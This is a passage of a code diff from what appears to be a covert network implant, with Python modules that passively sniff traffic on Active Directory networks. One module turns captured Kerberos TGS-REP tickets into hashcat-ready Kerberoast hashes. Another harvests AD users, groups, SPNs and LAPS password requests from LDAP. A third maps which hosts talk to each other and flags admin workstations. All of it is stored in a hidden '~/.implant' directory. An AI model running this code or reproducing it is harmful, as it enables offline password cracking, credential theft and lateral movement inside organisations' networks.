seq_offset = self._enter_sequence(data, offset)
if seq_offset < 0:
return
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 3: # crealm
realm = self._read_string(ctx_data)
elif ctx_num == 4: # cname
username = self._extract_principal_name(ctx_data)
elif ctx_num == 5: # ticket — contains the SPN and enc-part
t_spn, t_etype, t_enc = self._extract_ticket_info(ctx_data)
if t_spn:
spn = t_spn
if t_enc:
enc_part = t_enc
etype = t_etype
pos = next_pos + length
if realm:
self._realms.add(realm)
if enc_part and (username or spn):
if etype == ETYPE_RC4_HMAC:
hashcat_mode = HASHCAT_KERBEROAST_RC4
elif etype == ETYPE_AES256_CTS:
hashcat_mode = HASHCAT_KERBEROAST_AES256
elif etype == ETYPE_AES128_CTS:
hashcat_mode = HASHCAT_KERBEROAST_AES128
else:
hashcat_mode = HASHCAT_KERBEROAST_RC4
hash_value = f"$krb5tgs${etype}$*{username}${realm}${spn}*${enc_part[:32]}${enc_part[32:]}"
self._emit_ticket(
ts, client_ip, dc_ip, realm, username, spn,
"TGS-REP", hashcat_mode, hash_value,
)
# ------------------------------------------------------------------
# ASN.1 helpers
# ------------------------------------------------------------------
@staticmethod
def _asn1_length(data: bytes, offset: int) -> tuple:
"""Read ASN.1 DER length. Returns (length, new_offset) or (-1, offset)."""
if offset >= len(data):
return -1, offset
first = data[offset]
if first & 0x80 == 0:
return first, offset + 1
num_bytes = first & 0x7F
if num_bytes == 0 or offset + 1 + num_bytes > len(data):
return -1, offset
length = int.from_bytes(data[offset + 1:offset + 1 + num_bytes], "big")
return length, offset + 1 + num_bytes
def _enter_sequence(self, data: bytes, offset: int) -> int:
"""Skip into a SEQUENCE tag and return offset to first element, or -1."""
if offset >= len(data) or data[offset] != 0x30:
return -1
_, new_offset = self._asn1_length(data, offset + 1)
return new_offset
def _read_string(self, data: bytes) -> str:
"""Read a GeneralString/UTF8String from ASN.1 data."""
if len(data) < 2:
return ""
# Skip tag byte
tag = data[0]
length, offset = self._asn1_length(data, 1)
if length < 0 or offset + length > len(data):
return ""
return data[offset:offset + length].decode("utf-8", errors="replace")
def _extract_principal_name(self, data: bytes) -> str:
"""Extract principal name from a PrincipalName SEQUENCE."""
# PrincipalName ::= SEQUENCE { name-type[0], name-string[1] }
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return ""
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
if ctx_num == 1: # name-string SEQUENCE OF GeneralString
name_data = data[next_pos:next_pos + length]
names = self._extract_string_sequence(name_data)
return "/".join(names) if names else ""
pos = next_pos + length
return ""
def _extract_string_sequence(self, data: bytes) -> list:
"""Extract strings from a SEQUENCE OF GeneralString."""
result = []
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return result
pos = seq_offset
while pos < len(data):
if pos >= len(data):
break
tag = data[pos]
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0 or next_pos + length > len(data):
break
try:
s = data[next_pos:next_pos + length].decode("utf-8", errors="replace")
result.append(s)
except Exception:
pass
pos = next_pos + length
return result
def _extract_encrypted_data(self, data: bytes) -> tuple:
"""Extract etype and cipher from EncryptedData. Returns (etype, hex_cipher)."""
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return 0, ""
etype = 0
cipher_hex = ""
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 0: # etype INTEGER
etype = self._read_integer(ctx_data)
elif ctx_num == 2: # cipher OCTET STRING
if len(ctx_data) >= 2:
c_len, c_off = self._asn1_length(ctx_data, 1)
if c_len > 0 and c_off + c_len <= len(ctx_data):
cipher_hex = ctx_data[c_off:c_off + c_len].hex()
pos = next_pos + length
return etype, cipher_hex
def _extract_ticket_info(self, data: bytes) -> tuple:
"""Extract SPN, etype, and enc-part from a Ticket. Returns (spn, etype, cipher_hex)."""
# Ticket ::= [APPLICATION 1] SEQUENCE { tkt-vno[0], realm[1], sname[2], enc-part[3] }
if len(data) < 2:
return "", 0, ""
# Skip application tag
if data[0] & 0xE0 == 0x60:
_, offset = self._asn1_length(data, 1)
else:
offset = 0
seq_offset = self._enter_sequence(data, offset)
if seq_offset < 0:
return "", 0, ""
spn = ""
etype = 0
cipher_hex = ""
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 2: # sname (PrincipalName)
spn = self._extract_principal_name(ctx_data)
elif ctx_num == 3: # enc-part (EncryptedData)
etype, cipher_hex = self._extract_encrypted_data(ctx_data)
pos = next_pos + length
return spn, etype, cipher_hex
def _extract_padata_enc_timestamp(self, data: bytes) -> tuple:
"""Extract PA-ENC-TIMESTAMP from padata sequence. Returns (hex_cipher, etype)."""
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return "", 0
pos = seq_offset
while pos < len(data) - 2:
# Each PA-DATA is a SEQUENCE { padata-type[1], padata-value[2] }
if data[pos] != 0x30:
break
pa_len, pa_off = self._asn1_length(data, pos + 1)
if pa_len < 0:
break
pa_data = data[pa_off:pa_off + pa_len]
pa_type = 0
pa_value = b""
inner_pos = 0
while inner_pos < len(pa_data) - 2:
ctx_tag = pa_data[inner_pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
il, ip = self._asn1_length(pa_data, inner_pos + 1)
if il < 0:
break
if ctx_num == 1: # padata-type
pa_type = self._read_integer(pa_data[ip:ip + il])
elif ctx_num == 2: # padata-value
pa_value = pa_data[ip:ip + il]
inner_pos = ip + il
if pa_type == 2 and pa_value: # PA-ENC-TIMESTAMP
etype, cipher = self._extract_encrypted_data(pa_value)
if cipher:
return cipher, etype
pos = pa_off + pa_len
return "", 0
def _extract_req_body_info(self, data: bytes) -> tuple:
"""Extract realm and cname from KDC-REQ-BODY. Returns (realm, username)."""
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return "", ""
realm = ""
username = ""
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 1: # cname
username = self._extract_principal_name(ctx_data)
elif ctx_num == 2: # realm
realm = self._read_string(ctx_data)
pos = next_pos + length
return realm, username
def _read_integer(self, data: bytes) -> int:
"""Read an ASN.1 INTEGER value."""
if len(data) < 2:
return 0
tag = data[0]
if tag != 0x02:
return 0
length, offset = self._asn1_length(data, 1)
if length < 0 or offset + length > len(data):
return 0
return int.from_bytes(data[offset:offset + length], "big", signed=True)
# ------------------------------------------------------------------
# Ticket emission
# ------------------------------------------------------------------
def _emit_ticket(self, ts: float, client_ip: str, dc_ip: str,
realm: str, username: str, spn: str,
ticket_type: str, hashcat_mode: int,
hash_value: str) -> None:
self._total_tickets += 1
record = (ts, client_ip, dc_ip, realm, username, spn,
ticket_type, hashcat_mode, hash_value)
with self._buffer_lock:
self._buffer.append(record)
if len(self._buffer) >= self.BATCH_SIZE:
self._flush_buffer()
self.bus.emit("TICKET_HARVESTED", {
"source_ip": client_ip,
"dc_ip": dc_ip,
"realm": realm,
"username": username,
"spn": spn,
"ticket_type": ticket_type,
"hashcat_mode": hashcat_mode,
}, source_module=self.name)
logger.info(
"TICKET: %s %s@%s -> %s (hashcat -m %d)",
ticket_type, username, realm, dc_ip, hashcat_mode,
)
# ------------------------------------------------------------------
# Buffer flush
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Kerberos flush error")
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._buffer)
self._buffer.clear()
if not batch or not self._db_conn:
return
try:
self._db_conn.executemany(
"INSERT INTO kerberos_tickets "
"(timestamp, source_ip, dc_ip, realm, username, spn, "
"ticket_type, hashcat_mode, hash_value) "
"VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)",
batch,
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d kerberos tickets", len(batch))
+497
View File
@@ -0,0 +1,497 @@
#!/usr/bin/env python3
"""LDAP query harvester — passive Active Directory object inventory.
Parses LDAP SearchRequest and SearchResultEntry messages on port 389/3268
using BER/ASN.1 decoding. Extracts user objects (sAMAccountName, mail,
memberOf), group objects, computer objects, GPOs, SPNs, and detects
LAPS password reads (ms-Mcs-AdmPwd attribute access).
"""
import json
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# LDAP protocol tags
TAG_SEQUENCE = 0x30
TAG_INTEGER = 0x02
TAG_OCTET_STRING = 0x04
TAG_ENUMERATED = 0x0A
TAG_SET = 0x31
TAG_BOOLEAN = 0x01
# LDAP application tags (context-specific constructed)
LDAP_SEARCH_REQUEST = 0x63 # APPLICATION[3] CONSTRUCTED
LDAP_SEARCH_RESULT_ENTRY = 0x64 # APPLICATION[4] CONSTRUCTED
LDAP_SEARCH_RESULT_DONE = 0x65 # APPLICATION[5] CONSTRUCTED
# Interesting attributes (case-insensitive)
INTERESTING_ATTRS = {
"samaccountname", "userprincipalname", "mail", "memberof",
"distinguishedname", "objectclass", "cn", "name",
"serviceprincipalname", "description", "operatingsystem",
"dnshostname", "managedby", "gplink", "gpcfilesyspath",
"ms-mcs-admpwd", # LAPS password
"ms-mcs-admpwdexpirationtime",
"unicodepwd", "userpassword",
}
_DB_INIT = """
CREATE TABLE IF NOT EXISTS ldap_objects (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
dn TEXT DEFAULT '',
object_class TEXT DEFAULT '',
sam_account_name TEXT DEFAULT '',
attributes_json TEXT DEFAULT '{}',
source_ip TEXT NOT NULL
);
CREATE INDEX IF NOT EXISTS idx_ldap_sam ON ldap_objects(sam_account_name);
CREATE INDEX IF NOT EXISTS idx_ldap_class ON ldap_objects(object_class);
CREATE INDEX IF NOT EXISTS idx_ldap_ts ON ldap_objects(timestamp);
"""
FLUSH_INTERVAL = 45
class LDAPHarvester(BaseModule):
"""Passively harvest AD objects from LDAP traffic."""
name = "ldap_harvester"
module_type = "passive"
priority = 100
requires_root = True
requires_capture_bus = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._read_thread: Optional[threading.Thread] = None
self._flush_thread: Optional[threading.Thread] = None
self._db_path = self._resolve_db_path()
self._db_conn: Optional[sqlite3.Connection] = None
self._write_buffer: list[tuple] = []
self._buffer_lock = threading.Lock()
self._seen_dns: set = set() # Dedup by DN
self._stats = {
"packets_processed": 0,
"search_requests": 0,
"result_entries": 0,
"users_found": 0,
"groups_found": 0,
"computers_found": 0,
"spns_found": 0,
"laps_reads_detected": 0,
}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._init_db()
self._capture_bus = self.config.get("_capture_bus")
if self._capture_bus is None:
logger.error("LDAPHarvester requires _capture_bus in config")
return
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="port 389 or port 3268", queue_depth=5000
)
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="sensor-ldap-read"
)
self._read_thread.start()
self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-ldap-flush"
)
self._flush_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("LDAPHarvester started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
for t in (self._read_thread, self._flush_thread):
if t and t.is_alive():
t.join(timeout=5.0)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("LDAPHarvester stopped — stats: %s", self._stats)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
**self._stats,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Packet processing
# ------------------------------------------------------------------
def _read_loop(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, pkt = result
self._stats["packets_processed"] += 1
try:
self._process_packet(pkt, ts)
except Exception:
logger.debug("Error processing LDAP packet", exc_info=True)
def _process_packet(self, pkt: bytes, ts: float) -> None:
"""Extract TCP payload and parse LDAP messages."""
if len(pkt) < 54:
return
ethertype = struct.unpack("!H", pkt[12:14])[0]
eth_offset = 14
if ethertype == 0x8100:
if len(pkt) < 58:
return
ethertype = struct.unpack("!H", pkt[16:18])[0]
eth_offset = 18
if ethertype != 0x0800:
return
ip_header = pkt[eth_offset:]
if len(ip_header) < 20:
return
ihl = (ip_header[0] & 0x0F) * 4
ip_proto = ip_header[9]
if ip_proto != 6:
return
src_ip = socket.inet_ntoa(ip_header[12:16])
if len(ip_header) < ihl + 20:
return
tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
payload = ip_header[ihl + tcp_data_off:]
if len(payload) < 5:
return
self._parse_ldap_messages(payload, src_ip, ts)
def _parse_ldap_messages(self, data: bytes, src_ip: str, ts: float) -> None:
"""Parse one or more LDAP messages from a TCP payload."""
pos = 0
while pos < len(data) - 2:
if data[pos] != TAG_SEQUENCE:
break
msg_len, len_size = self._read_ber_length(data[pos + 1:])
if msg_len <= 0:
break
msg_start = pos + 1 + len_size
msg_end = msg_start + msg_len
if msg_end > len(data):
break
msg_body = data[msg_start:msg_end]
self._parse_ldap_message(msg_body, src_ip, ts)
pos = msg_end
def _parse_ldap_message(self, msg: bytes, src_ip: str, ts: float) -> None:
"""Parse a single LDAP message (after outer SEQUENCE)."""
if len(msg) < 5:
return
# Message ID (INTEGER)
if msg[0] != TAG_INTEGER:
return
id_len = msg[1]
if id_len < 1 or 2 + id_len >= len(msg):
return
op_start = 2 + id_len
if op_start >= len(msg):
return
op_tag = msg[op_start]
op_len, op_len_size = self._read_ber_length(msg[op_start + 1:])
if op_len <= 0:
return
op_body = msg[op_start + 1 + op_len_size:op_start + 1 + op_len_size + op_len]
if op_tag == LDAP_SEARCH_REQUEST:
self._handle_search_request(op_body, src_ip, ts)
elif op_tag == LDAP_SEARCH_RESULT_ENTRY:
self._handle_search_result_entry(op_body, src_ip, ts)
def _handle_search_request(self, body: bytes, src_ip: str, ts: float) -> None:
"""Parse SearchRequest for base DN and filter."""
self._stats["search_requests"] += 1
# BaseObject (OCTET STRING)
base_dn = self._read_octet_string(body, 0)
if base_dn is None:
return
# Check if requesting LAPS password
body_str = body.decode("ascii", errors="replace").lower()
if "ms-mcs-admpwd" in body_str:
self._stats["laps_reads_detected"] += 1
logger.warning("LAPS password read detected from %s (base DN: %s)", src_ip, base_dn)
emit_credential_found(self.bus, self.name, {
"source": "laps_read",
"source_ip": src_ip,
"base_dn": base_dn,
"detail": "LAPS password attribute requested in LDAP search",
})
def _handle_search_result_entry(self, body: bytes, src_ip: str,
ts: float) -> None:
"""Parse SearchResultEntry to extract DN and attributes."""
self._stats["result_entries"] += 1
# ObjectName (OCTET STRING) = DN
dn = self._read_octet_string(body, 0)
if dn is None:
return
# Skip past the DN OCTET STRING
dn_tag_len, _ = self._skip_tlv(body, 0)
if dn_tag_len < 0:
return
# Attributes (SEQUENCE OF PartialAttribute)
attrs = {}
attr_data = body[dn_tag_len:]
if len(attr_data) < 2 or attr_data[0] != TAG_SEQUENCE:
# May be in a different format
pass
else:
attr_seq_len, attr_len_size = self._read_ber_length(attr_data[1:])
attr_body = attr_data[1 + attr_len_size:]
self._parse_partial_attributes(attr_body, attr_seq_len, attrs)
# Classify object
object_class = ""
sam = attrs.get("samaccountname", "")
classes = attrs.get("objectclass", "")
classes_lower = classes.lower() if isinstance(classes, str) else ""
if "user" in classes_lower or "person" in classes_lower:
object_class = "user"
self._stats["users_found"] += 1
elif "group" in classes_lower:
object_class = "group"
self._stats["groups_found"] += 1
elif "computer" in classes_lower:
object_class = "computer"
self._stats["computers_found"] += 1
elif "grouppolicycontainer" in classes_lower:
object_class = "gpo"
# Track SPNs
if "serviceprincipalname" in attrs:
self._stats["spns_found"] += 1
# Dedup
if dn in self._seen_dns:
return
self._seen_dns.add(dn)
if len(self._seen_dns) > 50000:
self._seen_dns.clear()
# Filter to interesting attributes only
filtered_attrs = {
k: v for k, v in attrs.items()
if k.lower() in INTERESTING_ATTRS
}
self._record_object(ts, dn, object_class, sam, filtered_attrs, src_ip)
def _parse_partial_attributes(self, data: bytes, max_len: int,
attrs: dict) -> None:
"""Parse SEQUENCE OF PartialAttribute."""
pos = 0
while pos < min(len(data), max_len) - 2:
if data[pos] != TAG_SEQUENCE:
break
seq_len, seq_len_size = self._read_ber_length(data[pos + 1:])
if seq_len <= 0:
break
attr_body = data[pos + 1 + seq_len_size:pos + 1 + seq_len_size + seq_len]
self._parse_single_attribute(attr_body, attrs)
pos += 1 + seq_len_size + seq_len
def _parse_single_attribute(self, data: bytes, attrs: dict) -> None:
"""Parse a single PartialAttribute (type + SET OF values)."""
# AttributeDescription (OCTET STRING)
attr_name = self._read_octet_string(data, 0)
if attr_name is None:
return
name_total, _ = self._skip_tlv(data, 0)
if name_total < 0:
return
# Values (SET OF AttributeValue)
val_data = data[name_total:]
if len(val_data) < 2 or val_data[0] != TAG_SET:
return
set_len, set_len_size = self._read_ber_length(val_data[1:])
if set_len <= 0:
return
set_body = val_data[1 + set_len_size:]
values = []
vpos = 0
while vpos < min(len(set_body), set_len) - 2:
val = self._read_octet_string(set_body, vpos)
if val is not None:
values.append(val)
total, _ = self._skip_tlv(set_body, vpos)
if total <= 0:
break
vpos += total
if len(values) == 1:
attrs[attr_name.lower()] = values[0]
elif values:
attrs[attr_name.lower()] = "; ".join(values)
# ------------------------------------------------------------------
# BER helpers
# ------------------------------------------------------------------
@staticmethod
def _read_ber_length(data: bytes) -> tuple:
"""Read BER length. Returns (length, bytes_consumed)."""
if not data:
return (0, 0)
first = data[0]
if first < 0x80:
return (first, 1)
num_bytes = first & 0x7F
if num_bytes == 0 or len(data) < 1 + num_bytes:
return (0, 0)
length = 0
for i in range(num_bytes):
length = (length << 8) | data[1 + i]
return (length, 1 + num_bytes)
def _read_octet_string(self, data: bytes, offset: int) -> Optional[str]:
"""Read an OCTET STRING at offset. Returns decoded string or None."""
if offset >= len(data) - 1:
return None
tag = data[offset]
if tag != TAG_OCTET_STRING:
return None
length, len_size = self._read_ber_length(data[offset + 1:])
if length <= 0:
return None
start = offset + 1 + len_size
if start + length > len(data):
return None
try:
return data[start:start + length].decode("utf-8", errors="replace")
except Exception:
return None
def _skip_tlv(self, data: bytes, offset: int) -> tuple:
"""Skip past a TLV element. Returns (total_bytes, tag)."""
if offset >= len(data):
return (-1, 0)
tag = data[offset]
length, len_size = self._read_ber_length(data[offset + 1:])
if length < 0:
return (-1, 0)
total = 1 + len_size + length
return (total, tag)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
base = self.config.get("db_dir", os.path.join(
os.path.expanduser("~"), ".implant"
))
return os.path.join(base, "ldap_harvester.db")
def _init_db(self) -> None:
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript(_DB_INIT)
self._db_conn.commit()
def _record_object(self, ts: float, dn: str, object_class: str,
sam: str, attrs: dict, src_ip: str) -> None:
with self._buffer_lock:
self._write_buffer.append((
ts, dn, object_class, sam, json.dumps(attrs), src_ip
))
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._write_buffer)
self._write_buffer.clear()
if not batch or not self._db_conn:
return
try:
with self._db_conn:
self._db_conn.executemany(
"""INSERT INTO ldap_objects
(timestamp, dn, object_class, sam_account_name,
attributes_json, source_ip)
VALUES (?, ?, ?, ?, ?, ?)""",
batch,
)
except Exception:
logger.exception("Failed to flush LDAP objects")
def _flush_loop(self) -> None:
while self._running:
time.sleep(FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Flush loop error")
+381
View File
@@ -0,0 +1,381 @@
#!/usr/bin/env python3
"""Network relationship mapper — passive communication graph builder.
Builds a graph of all observed host-to-host communication with protocol,
byte count, and packet count metadata. Identifies roles (servers, clients,
admin workstations, printers) and generates Graphviz DOT output. Periodic
snapshots for change_detector consumption.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from collections import defaultdict
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
TCP_PROTO = 6
UDP_PROTO = 17
# Role detection thresholds
SERVER_INBOUND_THRESHOLD = 5 # Unique source IPs connecting in
CLIENT_OUTBOUND_THRESHOLD = 10 # Unique dest IPs connected to
ADMIN_SSH_RDP_THRESHOLD = 3 # Unique SSH/RDP destinations
PRINTER_PORT = 9100
_DB_INIT = """
CREATE TABLE IF NOT EXISTS connections (
id INTEGER PRIMARY KEY AUTOINCREMENT,
src_ip TEXT NOT NULL,
dst_ip TEXT NOT NULL,
protocol TEXT NOT NULL,
port INTEGER NOT NULL,
bytes_total INTEGER DEFAULT 0,
packets INTEGER DEFAULT 0,
first_seen REAL NOT NULL,
last_seen REAL NOT NULL,
relationship_type TEXT DEFAULT '',
UNIQUE(src_ip, dst_ip, protocol, port)
);
CREATE INDEX IF NOT EXISTS idx_conn_src ON connections(src_ip);
CREATE INDEX IF NOT EXISTS idx_conn_dst ON connections(dst_ip);
"""
FLUSH_INTERVAL = 45
SNAPSHOT_INTERVAL = 300 # 5 minutes
class NetworkMapper(BaseModule):
"""Build communication graph from all observed traffic."""
name = "network_mapper"
module_type = "passive"
priority = 150
requires_root = True
requires_capture_bus = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._read_thread: Optional[threading.Thread] = None
self._flush_thread: Optional[threading.Thread] = None
self._snapshot_thread: Optional[threading.Thread] = None
self._db_path = self._resolve_db_path()
self._db_conn: Optional[sqlite3.Connection] = None
self._lock = threading.Lock()
# In-memory graph: (src_ip, dst_ip, proto, port) -> {bytes, packets, first, last}
self._graph: dict[tuple, dict] = {}
# Role tracking: ip -> set of connected IPs per direction
self._inbound: dict[str, set] = defaultdict(set) # dst -> set(src)
self._outbound: dict[str, set] = defaultdict(set) # src -> set(dst)
self._ssh_rdp_dests: dict[str, set] = defaultdict(set) # src -> set(dst) for SSH/RDP
self._printer_servers: set = set()
self._stats = {
"packets_processed": 0,
"unique_connections": 0,
"hosts_seen": 0,
"snapshots_taken": 0,
}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._init_db()
self._capture_bus = self.config.get("_capture_bus")
if self._capture_bus is None:
logger.error("NetworkMapper requires _capture_bus in config")
return
# Subscribe to all traffic
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="", queue_depth=5000
)
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="sensor-netmap-read"
)
self._read_thread.start()
self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-netmap-flush"
)
self._flush_thread.start()
self._snapshot_thread = threading.Thread(
target=self._snapshot_loop, daemon=True, name="sensor-netmap-snapshot"
)
self._snapshot_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("NetworkMapper started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
for t in (self._read_thread, self._flush_thread, self._snapshot_thread):
if t and t.is_alive():
t.join(timeout=5.0)
self._flush_to_db()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("NetworkMapper stopped — stats: %s", self._stats)
def status(self) -> dict:
with self._lock:
hosts = set()
for (src, dst, _, _) in self._graph:
hosts.add(src)
hosts.add(dst)
self._stats["hosts_seen"] = len(hosts)
self._stats["unique_connections"] = len(self._graph)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
**self._stats,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Packet processing
# ------------------------------------------------------------------
def _read_loop(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, pkt = result
self._stats["packets_processed"] += 1
try:
self._process_packet(pkt, ts)
except Exception:
pass
def _process_packet(self, pkt: bytes, ts: float) -> None:
"""Extract IP flow tuple and update graph."""
if len(pkt) < 34:
return
ethertype = struct.unpack("!H", pkt[12:14])[0]
# Handle 802.1Q
eth_offset = 14
if ethertype == 0x8100:
if len(pkt) < 38:
return
ethertype = struct.unpack("!H", pkt[16:18])[0]
eth_offset = 18
if ethertype != 0x0800: # IPv4 only
return
if len(pkt) < eth_offset + 20:
return
ip_header = pkt[eth_offset:]
ihl = (ip_header[0] & 0x0F) * 4
total_len = struct.unpack("!H", ip_header[2:4])[0]
ip_proto = ip_header[9]
src_ip = socket.inet_ntoa(ip_header[12:16])
dst_ip = socket.inet_ntoa(ip_header[16:20])
port = 0
proto_name = "other"
if ip_proto == TCP_PROTO and len(ip_header) >= ihl + 4:
_, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
port = dst_port
proto_name = "tcp"
elif ip_proto == UDP_PROTO and len(ip_header) >= ihl + 4:
_, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
port = dst_port
proto_name = "udp"
elif ip_proto == 1:
proto_name = "icmp"
pkt_bytes = total_len
key = (src_ip, dst_ip, proto_name, port)
with self._lock:
if key not in self._graph:
self._graph[key] = {
"bytes": 0, "packets": 0,
"first_seen": ts, "last_seen": ts,
}
entry = self._graph[key]
entry["bytes"] += pkt_bytes
entry["packets"] += 1
entry["last_seen"] = ts
# Track roles
self._inbound[dst_ip].add(src_ip)
self._outbound[src_ip].add(dst_ip)
if port in (22, 3389):
self._ssh_rdp_dests[src_ip].add(dst_ip)
if port == PRINTER_PORT:
self._printer_servers.add(dst_ip)
# ------------------------------------------------------------------
# Role classification
# ------------------------------------------------------------------
def _classify_role(self, ip: str) -> str:
"""Classify a host's role based on observed traffic patterns."""
roles = []
if len(self._inbound.get(ip, set())) >= SERVER_INBOUND_THRESHOLD:
roles.append("server")
if len(self._ssh_rdp_dests.get(ip, set())) >= ADMIN_SSH_RDP_THRESHOLD:
roles.append("admin_workstation")
if ip in self._printer_servers:
roles.append("printer")
if len(self._outbound.get(ip, set())) >= CLIENT_OUTBOUND_THRESHOLD:
roles.append("client")
return ",".join(roles) if roles else "unknown"
# ------------------------------------------------------------------
# Graphviz output
# ------------------------------------------------------------------
def generate_dot(self) -> str:
"""Generate Graphviz DOT format of the communication graph."""
lines = ['digraph network {', ' rankdir=LR;', ' node [shape=box];']
with self._lock:
hosts = set()
for (src, dst, proto, port) in self._graph:
hosts.add(src)
hosts.add(dst)
# Node declarations with role colors
role_colors = {
"server": "lightblue",
"admin_workstation": "orange",
"printer": "lightgreen",
"client": "lightyellow",
}
for ip in sorted(hosts):
role = self._classify_role(ip)
color = "white"
for r, c in role_colors.items():
if r in role:
color = c
break
label = f"{ip}\\n[{role}]"
lines.append(f' "{ip}" [label="{label}", style=filled, fillcolor={color}];')
# Edges
for (src, dst, proto, port), data in self._graph.items():
label = f"{proto}/{port}\\n{data['packets']}pkts"
lines.append(f' "{src}" -> "{dst}" [label="{label}"];')
lines.append('}')
return '\n'.join(lines)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
base = self.config.get("db_dir", os.path.join(
os.path.expanduser("~"), ".implant"
))
return os.path.join(base, "network_mapper.db")
def _init_db(self) -> None:
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript(_DB_INIT)
self._db_conn.commit()
def _flush_to_db(self) -> None:
"""Flush in-memory graph to SQLite."""
with self._lock:
snapshot = dict(self._graph)
if not snapshot or not self._db_conn:
return
try:
with self._db_conn:
for (src, dst, proto, port), data in snapshot.items():
rel = self._classify_role(dst)
self._db_conn.execute(
"""INSERT INTO connections
(src_ip, dst_ip, protocol, port, bytes_total, packets,
first_seen, last_seen, relationship_type)
